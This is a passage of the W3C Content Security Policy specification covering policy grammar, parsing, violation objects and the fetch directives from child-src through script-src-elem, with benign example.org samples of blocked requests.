2. Framework
2.1. Infrastructure
This document uses ABNF grammar to specify syntax, as defined in [RFC5234]. It also relies on
the #rule ABNF extension defined in
Section 5.6.1 of [RFC9110],
with the modification that OWS is replaced with
optional-ascii-whitespace. That is, the #rule used in this
document is defined as:
1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )
and for n >= 1 and m > 1:
<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )
This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].
The following definitions are used to improve readability of other definitions in this document.
optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 ) required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 ) ; These productions match the definition of ASCII whitespace from the INFRA standard.
2.2. Policies
A policy defines allowed
and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or
WorkletGlobalScope.
Each policy has an associated directive set, which is an ordered set of directives that define the policy’s implications when applied.
Each policy has an associated disposition, which is either
"enforce" or "report".
Each policy has an associated source, which is either "header"
or "meta".
Multiple policies can be applied to a single resource. A CSP
list is a struct consisting of policies (a list of policies) and a self-origin (an origin which is used when matching the 'self' keyword).
Note: This is needed to facilitate the 'self' checks of
local scheme documents/workers that have inherited their policy but
have an opaque origin. Most of the time this will simply be the
environment settings object’s origin.
A CSP list if its policies contain a policy whose
source is "header".
A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:
serialized-policy =
serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )
A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:
serialized-policy-list = 1#serialized-policy ; The '#' rule is the one defined in section 5.6.1 of RFC 9110 ; but it incorporates the modifications specified ; in section 2.1 of this document.
2.2.1. Parse a serialized CSP
To parse a serialized CSP, given a byte sequence or string serialized, a source source, and a disposition disposition, execute the following steps.
This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.
-
If serialized is a byte sequence, then set serialized to be the result of isomorphic decoding serialized.
-
Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.
-
For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (
;):-
Strip leading and trailing ASCII whitespace from token.
-
If token is an empty string, or if token is not an ASCII string, continue.
-
Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.
-
Set directive name to be the result of running ASCII lowercase on directive name.
Note: Directive names are case-insensitive, that is:
script-SRC 'none'andScRiPt-sRc 'none'are equivalent. -
If policy’s directive set contains a directive whose name is directive name, continue.
Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.
-
Let directive value be the result of splitting token on ASCII whitespace.
-
Let directive be a new directive whose name is directive name, and value is directive value.
-
Append directive to policy’s directive set.
-
-
Return policy.
2.2.2. Parse response’s Content Security Policies
To parse a response’s Content Security Policies given a response response, execute the following steps.
This algorithm returns a CSP list. If the policies cannot be parsed, the returned list will have empty policies.
-
Let policies be an empty list.
-
For each token returned by given
Content-Security-Policyand response’s :-
Let policy be the result of parsing token, with a source of "
header", and a disposition of "enforce". -
If policy’s directive set is not empty, append policy to policies.
-
-
For each token returned by given
Content-Security-Policy-Report-Onlyand response’s :-
Let policy be the result of parsing token, with a source of "
header", and a disposition of "report". -
If policy’s directive set is not empty, append policy to policies.
-
-
Return a CSP list whose policies is policies and self-origin is response’s url’s origin.
Note: When parsing a response’s Content Security Policies, if the resulting policies end up containing at least one item, user agents can hold a flag on policies and use it to optimize away the algorithm.
2.3. Directives
Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in § 6 Content Security Policy Directives.
Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value MAY be empty.
A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:
serialized-directive = directive-name [ required-ascii-whitespace directive-value ] directive-name = 1*( ALPHA / DIGIT / "-" ) directive-value = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) ) ; Directive values may contain whitespace and VCHAR characters, ; excluding ";" and ",". The second half of the definition ; above represents all VCHAR characters (%x21-%x7E) ; without ";" and "," (%x3B and %x2C respectively) ; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.
Directives have a number of associated algorithms:
-
A pre-request check, which takes a request, a policy, and an origin as an argument, and is executed during § 4.1.2 Should request be blocked by Content Security Policy?. This algorithm returns "
Allowed" unless otherwise specified. -
A post-request check, which takes a request, a response, a policy and an origin as arguments, and is executed during § 4.1.3 Should response to request be blocked by Content Security Policy?. This algorithm returns "
Allowed" unless otherwise specified. -
An inline check, which takes an
Element, a type string, a policy, and a source string as arguments, and is executed during § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? and during § 4.2.4 Should navigation request of type be blocked by Content Security Policy? forjavascript:requests. This algorithm returns "Allowed" unless otherwise specified. -
An initialization, which takes a
Documentor global object and a policy as arguments. This algorithm is executed during § 4.2.1 Run CSP initialization for a Document and § 4.2.6 Run CSP initialization for a global object. Unless otherwise specified, it has no effect and it returns "Allowed". -
A pre-navigation check, which takes a request, a navigation type string ("
form-submission" or "other"), a policy and an origin as arguments, and is executed during § 4.2.4 Should navigation request of type be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified. -
A navigation response check, which takes a request, a navigation type string ("
form-submission" or "other"), a response, a navigable, a check type string ("source" or "response"), a policy, and an origin as arguments, and is executed during § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified. -
A webrtc pre-connect check, which takes a policy, and is executed during § 4.3.1 Should RTC connections be blocked for global?. It returns "
Allowed" unless otherwise specified.
2.3.1. Source Lists
Many directives' value consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:
-
Keywords such as
'none'and'self'(which match nothing and the current URL’s origin, respectively) -
Serialized URLs such as
https://example.com/path/to/file.js(which matches a specific file) orhttps://example.com/(which matches everything on that origin) -
Schemes such as
https:(which matches any resource having the specified scheme) -
Hosts such as
example.com(which matches any resource on the host, regardless of scheme) or*.example.com(which matches any resource on the host’s subdomains, and any of its subdomains' subdomains, and so on) -
Nonces such as
'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'(which can match specific elements on a page) -
Digests such as
'sha256-abcd...'(which can match specific elements on a page)
A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:
serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression = scheme-source / host-source / keyword-source
/ nonce-source / hash-source
; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"
; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
; scheme is defined in section 3.1 of RFC 3986.
host-part = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char = ALPHA / DIGIT / "-"
port-part = 1*DIGIT / "*"
path-part = path-absolute (but not including ";" or ",")
; path-absolute is defined in section 3.3 of RFC 3986.
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
/ "'strict-dynamic'" / "'unsafe-hashes'"
/ "'report-sample'" / "'unsafe-allow-redirects'"
/ "'wasm-unsafe-eval'" / "'trusted-types-eval'"
/ "'report-sha256'" / "'report-sha384'"
/ "'report-sha512'" / "'unsafe-webtransport-hashes'"
ISSUE: Bikeshed unsafe-allow-redirects.
; Nonces: 'nonce-[nonce goes here]'
nonce-source = "'nonce-" base64-value "'"
base64-value = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
; Digests: 'sha256-[digest goes here]'
hash-source = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"
The host-char production intentionally contains only ASCII
characters; internationalized domain names cannot be entered directly as part
of a serialized CSP, but instead MUST be Punycode-encoded
[RFC3492]. For example, the domain üüüüüü.de MUST be represented as
xn--tdaaaaaa.de.
Note: Though IP address do match the grammar above, only
127.0.0.1 will actually match a URL when used in a source
expression (see § 6.7.2.7 Does url match source list in origin with redirect count? for details). The security
properties of IP addresses are suspect, and authors ought to prefer hostnames
whenever possible.
Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.
2.4. Violations
A violation represents an action or resource which goes against the set of policy objects associated with a global object.
Each violation has a global object, which is the global object whose policy has been violated.
Each violation has a url
which is its global object’s URL.
Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.
Each violation has a
resource, which is
either null, "inline", "eval", "wasm-eval", "trusted-types-policy", "trusted-types-sink" or a URL.
It represents the resource which violated the policy.
Note: The value null for a violation’s resource is only allowed while the violation is
being populated. By the time the violation is reported and its resource is used for
obtaining the blocked URI, the
violation’s resource should be populated with a
URL or one of the allowed strings.
Each violation has a
referrer, which is either
null, or a URL. It represents the referrer of the resource whose policy
was violated.
Each violation has a policy, which is the policy that has been violated.
Each violation has a disposition, which is the disposition of the policy that has been violated.
Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.
Each violation has a
source file, which is
either null or a URL.
Each violation has a line number, which is a non-negative integer.
Each violation has a column number, which is a non-negative integer.
Each violation has a element, which is either null or an element.
Each violation has a sample, which is a string. It is the empty string unless otherwise specified.
Note: A violation’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.
2.4.1. Create a violation object for global, policy, and directive
Given a global object global, a policy policy, and a string directive, the following algorithm creates a new violation object, and populates it with an initial set of data:
-
Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.
-
If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.
Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].
Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.
-
If global is a
Windowobject, set violation’s referrer to global’s document’sreferrer. -
Set violation’s status to the HTTP status code for the resource associated with violation’s global object.
How, exactly, do we get the status code? We don’t actually store it anywhere.
-
Return violation.
2.4.2. Create a violation object for request, and policy.
Given a request request, a policy policy, the following algorithm creates a new violation object, and populates it with an initial set of data:
-
Let directive be the result of executing § 6.8.1 Get the effective directive for request on request.
-
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.
-
Set violation’s resource to request’s url.
Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.
-
Return violation.
6. Content Security Policy Directives
This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in § 6.1 Fetch Directives), directives which govern the state of a document (in § 6.3 Document Directives), directives which govern aspects of navigation (in § 6.4 Navigation Directives), and directives which govern reporting (in § 6.5 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see § 6.6 Directives Defined in Other Documents for examples).
To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:
In either case, developers SHOULD NOT include either
'unsafe-inline', or data: as valid
sources in their policies. Both enable XSS attacks by allowing code to be
included directly in the document itself; they are best avoided completely.
6.1. Fetch Directives
Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.
6.1.1. child-src
The child-src directive governs the creation of child
navigables (e.g. iframe and frame navigations) and Worker execution
contexts. The syntax for the directive’s name and value is described by the
following ABNF:
directive-name = "child-src" directive-value = serialized-source-list
This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:
Given a page with the following Content Security Policy:
: child-src https://example.com/
Fetches for the following code will all return network errors, as the URLs
provided do not match child-src’s source list:
< iframe src = "https://example.org" ></ iframe > < script > var blockedWorker= new Worker( "data:application/javascript,..." ); </ script >
6.1.1.1.
child-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
child-srcand policy is "No", return "Allowed". -
Return the result of executing the pre-request check for the directive whose name is name on request, policy, and self-origin using this directive’s value for the comparison.
6.1.1.2.
child-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
child-srcand policy is "No", return "Allowed". -
Return the result of executing the post-request check for the directive whose name is name on request, response, policy, and self-origin, using this directive’s value for the comparison.
6.1.2. connect-src
The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "connect-src" directive-value = serialized-source-list
This directive controls requests which transmit or receive data from
other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE],
[BEACON], and a’s ping. This directive also controls
WebSocket [WEBSOCKETS] connections, though those aren’t technically part
of Fetch.
JavaScript offers a few mechanisms that directly connect to an external server to send or receive information.
EventSourcemaintains an open HTTP connection to a server in order to receive push notifications,
WebSocketsopen a bidirectional communication channel between your browser and a server, and
XMLHttpRequestmakes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.
The connect-src directive allows you to ensure that these and similar
sorts of connections are only opened to origins you trust. Sending a
policy that defines a list of source expressions for this directive is
straightforward. For example, to limit connections to only
https://example.com, send the following header:
: connect-src https://example.com/
Fetches for the following code will all return network errors, as the URLs
provided do not match connect-src’s source list:
< a ping = "https://example.org" > ...< script > var xhr= new XMLHttpRequest(); xhr. open( 'GET' , 'https://example.org/' ); xhr. send(); var ws= new WebSocket( "wss://example.org/" ); var es= new EventSource( "https://example.org/" ); navigator. sendBeacon( "https://example.org/" , { ... }); </ script >
6.1.2.1.
connect-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
connect-srcand policy is "No", return "Allowed". -
Let source list be directive’s value.
-
If request’s mode is "
webtransport" and request’s WebTransport-hash list is not empty:-
If source list contains a source expression which is an ASCII case-insensitive match for the
keyword-source"'unsafe-webtransport-hashes'", return "Allowed". -
Return "
Blocked".
-
-
If the result of executing § 6.7.2.5 Does request match source list? on request, source list, and self-origin, is "
Matches", return "Allowed". -
Return "
Blocked".
6.1.2.2.
connect-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
connect-srcand policy is "No", return "Allowed". -
Let source list be directive’s value.
-
If request’s mode is "
webtransport" and request’s WebTransport-hash list is not empty:-
If source list contains a source expression which is an ASCII case-insensitive match for the
keyword-source"'unsafe-webtransport-hashes'", return "Allowed". -
Return "
Blocked".
-
-
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, source list, and self-origin, is "
Matches", return "Allowed". -
Return "
Blocked".
6.1.3. default-src
The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "default-src" directive-value = serialized-source-list
If a default-src directive is present in a policy, its value will be
used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source
list to match against. Other requests will use 'none'. This is spelled
out in more detail in the § 4.1.2 Should request be blocked by Content Security Policy? and
§ 4.1.3 Should response to request be blocked by Content Security Policy? algorithms.
6.1.3.1.
default-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
default-srcand policy is "No", return "Allowed". -
Return the result of executing the pre-request check for the directive whose name is name on request, policy, and self-origin, using this directive’s value for the comparison.
6.1.3.2.
default-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
default-srcand policy is "No", return "Allowed". -
Return the result of executing the post-request check for the directive whose name is name on request, response, policy, and self-origin, using this directive’s value for the comparison.
6.1.3.3.
default-src Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
default-srcand policy is "No", return "Allowed". -
Otherwise, return the result of executing the inline check for the directive whose name is name on element, type, policy and source, using this directive’s value for the comparison.
6.1.4. font-src
The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "font-src" directive-value = serialized-source-list
Given a page with the following Content Security Policy:
: font-src https://example.com/
Fetches for the following code will return a network error, as the URL
provided does not match font-src’s source list:
< style > @ font-face { font-family : "Example Font" ; src : url ( "https://example.org/font" ); } body { font-family : "Example Font" ; } </ style >
6.1.4.1.
font-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
font-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.4.2.
font-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
font-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.5. frame-src
The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "frame-src" directive-value = serialized-source-list
Given a page with the following Content Security Policy:
: frame-src https://example.com/
Fetches for the following code will return a network errors, as the URL
provided do not match frame-src’s source list:
< iframe src = "https://example.org/" > </ iframe >
6.1.5.1.
frame-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
frame-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.5.2.
frame-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
frame-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.6. img-src
The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "img-src" directive-value = serialized-source-list
This directive controls requests which load images. More formally, this
includes requests whose destination is "image"
[FETCH].
Given a page with the following Content Security Policy:
: img-src https://example.com/
Fetches for the following code will return a network errors, as the URL
provided do not match img-src’s source list:
< img src = "https://example.org/img" >
6.1.6.1.
img-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
img-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.6.2.
img-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
img-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.7. manifest-src
The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "manifest-src" directive-value = serialized-source-list
Given a page with the following Content Security Policy:
: manifest-src https://example.com/
Fetches for the following code will return a network errors, as the URL
provided do not match manifest-src’s source list:
< link rel = "manifest" href = "https://example.org/manifest" >
6.1.7.1.
manifest-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
manifest-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.7.2.
manifest-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
manifest-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "media-src" directive-value = serialized-source-list
Given a page with the following Content Security Policy:
: media-src https://example.com/
Fetches for the following code will return a network errors, as the URL
provided do not match media-src’s source list:
< audio src = "https://example.org/audio" ></ audio > < video src = "https://example.org/video" > < track kind = "subtitles" src = "https://example.org/subtitles" > </ video >
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
media-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.8.2.
media-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
media-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.9. object-src
The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "object-src" directive-value = serialized-source-list
Given a page with the following Content Security Policy:
: object-src https://example.com/
Fetches for the following code will return a network errors, as the URL
provided do not match object-src’s source list:
< embed src = "https://example.org/flash" ></ embed > < object data = "https://example.org/flash" ></ object >
If plugin content is loaded without an associated URL (perhaps an object
element lacks a data attribute, but loads some default plugin based
on the specified type), it MUST be blocked if object-src’s value is
'none', but will otherwise be allowed.
Note: The object-src directive acts upon any request made on behalf of
an object or embed element. This includes requests
which would populate the child navigable generated by the
former two (also including navigations). This is true even when the data is
semantically equivalent to content which would otherwise be restricted by
another directive, such as an object element with a text/html MIME
type.
Note: When a plugin resource is navigated to directly (that is, as a plugin
inside a navigable, and not as an embedded
subresource via embed or object), any policy delivered along
with that resource will be applied to the resulting Document. This means, for instance, that
developers can prevent the execution of arbitrary resources as plugin content by delivering the
policy object-src 'none' along with a response. Given plugins' power (and the
sometimes-interesting security model presented by Flash and others), this could mitigate the risk
of attack vectors like
Rosetta Flash.
6.1.9.1.
object-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
object-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.9.2.
object-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
object-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.10. script-src
The script-src directive restricts the locations from which scripts
may be executed. This includes not only URLs loaded directly into script
elements, but also things like inline script blocks and XSLT stylesheets
[XSLT] which can trigger script execution. The syntax for the directive’s
name and value is described by the following ABNF:
directive-name = "script-src" directive-value = serialized-source-list
The script-src directive acts as a default fallback for all script-like
destinations (including worker-specific destinations if worker-src
is not present). Unless granularity is desired script-src should
be used in favor of script-src-attr and script-src-elem
as in most situations there is no particular reason to have separate lists of
permissions for inline event handlers and script elements.
The script-src directive governs six things:
-
Script requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?.
-
Script responses MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.
-
Inline
scriptblocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying ascript-src(ordefault-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block. -
The following JavaScript execution sinks are gated on the "
unsafe-eval" and "trusted-types-eval" source expressions:Note: If a user agent implements non-standard sinks like
setImmediate()orexecScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag,script-src-attrandscript-src-elemare not used when performing this check, insteadscript-src(or it’s fallback directive) is always used. -
The following WebAssembly execution sinks are gated on the "
wasm-unsafe-eval" or the "unsafe-eval" source expressions:Note: the "
wasm-unsafe-eval" source expression is the more specific source expression. In particular, "unsafe-eval" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "eval" operation in JavaScript. The "wasm-unsafe-eval" source expression only permits WebAssembly and does not affect JavaScript. -
Navigation to
javascript:URLs MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Such navigations will only execute script if every policy allows inline script, as per #3 above.
6.1.10.1.
script-src Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
script-srcand policy is "No", return "Allowed". -
Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, policy, and self-origin.
6.1.10.2.
script-src Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
script-srcand policy is "No", return "Allowed". -
Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, policy, and self-origin.
6.1.10.3.
script-src Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Assert: element is not null or type is "
navigation". -
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
script-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.11. script-src-elem
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "script-src-elem" directive-value = serialized-source-list
The script-src-elem directive applies to all script requests and
script blocks. Attributes that execute script (inline event handlers) are
controlled via script-src-attr.
As such, the following differences exist when comparing to script-src:
-
script-src-elemapplies to inline checks whose|type|is "script" and "navigation" (and is ignored for inline checks whose|type|is "script attribute"). -
script-src-elem’s value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval" check. -
script-src-elemis not used as a fallback for theworker-srcdirective. Theworker-srcchecks still fall back on thescript-srcdirective.
6.1.11.1.
script-src-elem Pre-request check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
script-src-elemand policy is "No", return "Allowed". -
Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, policy, and self-origin.
6.1.11.2.
script-src-elem Post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
script-src-elemand policy is "No", return "Allowed". -
Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, policy, and self-origin.
6.1.11.3.
script-src-elem Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Assert: element is not null or type is "
navigation". -
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
